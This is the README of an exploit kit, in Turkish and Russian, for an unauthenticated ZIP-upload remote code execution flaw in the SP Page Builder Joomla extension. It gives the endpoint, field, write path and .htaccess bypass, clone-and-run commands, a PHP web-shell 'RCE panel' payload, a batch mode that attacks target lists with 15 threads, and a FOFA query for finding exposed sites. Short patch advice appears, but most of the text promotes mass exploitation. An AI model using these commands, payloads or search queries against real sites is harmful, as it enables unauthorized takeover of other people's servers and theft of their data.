CVE-2026-48908

---

📌 Özet

SP Page Builder (Joomla) — Kimlik doğrulamasız ZIP yükleme → RCE

Ürün	SP Page Builder — com_sppagebuilder (JoomShaper)
Sürüm	≤ 6.6.1
Fixed	6.6.2+ — upload artık admin ister
Auth	Unauthenticated
Vektör	POST …&task=asset.uploadCustomIcon
Field	custom_icon (icon-font ZIP)
Yazılan yer	/media/com_sppagebuilder/assets/iconfont/<pack>/fonts/
Bypass	.PHP + fonts/.htaccess

🛡️ Fix

1. SP Page Builder 6.6.2+ güncelle
2. /media/com_sppagebuilder/ → PHP execution kapat
3. AllowOverride None — .htaccess engelle
4. WAF: custom_icon ZIP POST rate-limit

📦 Kurulum

git clone https://github.com/winrarzipsexploit/CVE-2026-48908.git
cd CVE-2026-48908
pip install -r requirements.txt

Dosya	Görev
winrarzips_brand.py	CMD banner (by winrarzips)
sppb48908_core.py	Exploit motoru
CVE-2026-48908-Suite.py	Batch + tek hedef CLI
CVE-2026-48908.py	Tek hedef wrapper
payloads/x7-panel.php	RCE panel
requirements.txt	Bağımlılıklar

❌ Hedef listesi, tarama sonucu ve panel URL'leri repo'da yok.

🎯 Tek hedef

python CVE-2026-48908-Suite.py -u https://LAB-URL --fingerprint
python CVE-2026-48908-Suite.py -u https://LAB-URL --yes

📦 Toplu (kendi listende)

python CVE-2026-48908-Suite.py -f targets.txt --yes --threads 15

🔍 FOFA

body="com_sppagebuilder"

🏷️ Hata etiketleri

patched_662_plus · upload_rejected · waf_cloudflare · sppb_html_no_json · upload_server_failed

---

📌 Сводка

SP Page Builder (Joomla) — загрузка ZIP без аутентификации → RCE

Продукт	SP Page Builder — com_sppagebuilder (JoomShaper)
Уязвимые версии	≤ 6.6.1
Исправлено	6.6.2+ — загрузка требует прав администратора
Аутентификация	Не требуется
Вектор	POST …&task=asset.uploadCustomIcon
Поле	custom_icon (ZIP с icon-font)
Путь записи	/media/com_sppagebuilder/assets/iconfont/<pack>/fonts/
Обход	.PHP + fonts/.htaccess

🛡️ Устранение

1. Обновите SP Page Builder до 6.6.2+
2. Отключите выполнение PHP в /media/com_sppagebuilder/
3. AllowOverride None — заблокируйте регистрацию PHP через .htaccess
4. WAF: ограничьте частоту загрузок ZIP через custom_icon

📦 Установка

git clone https://github.com/winrarzipsexploit/CVE-2026-48908.git
cd CVE-2026-48908
pip install -r requirements.txt

Файл	Назначение
winrarzips_brand.py	CMD-баннер (by winrarzips)
sppb48908_core.py	Ядро эксплойта
CVE-2026-48908-Suite.py	CLI для пакетной и одиночной цели
CVE-2026-48908.py	Обёртка для одиночной цели
payloads/x7-panel.php	Полезная нагрузка RCE-панели
requirements.txt	Зависимости

❌ Списки целей, результаты сканирования и URL активных панелей не включены.

🎯 Одиночная цель

python CVE-2026-48908-Suite.py -u https://LAB-URL --fingerprint
python CVE-2026-48908-Suite.py -u https://LAB-URL --yes

📦 Пакетный режим (свой список)

python CVE-2026-48908-Suite.py -f targets.txt --yes --threads 15

🔍 FOFA

body="com_sppagebuilder"

🏷️ Теги ошибок

patched_662_plus · upload_rejected · waf_cloudflare · sppb_html_no_json · upload_server_failed

---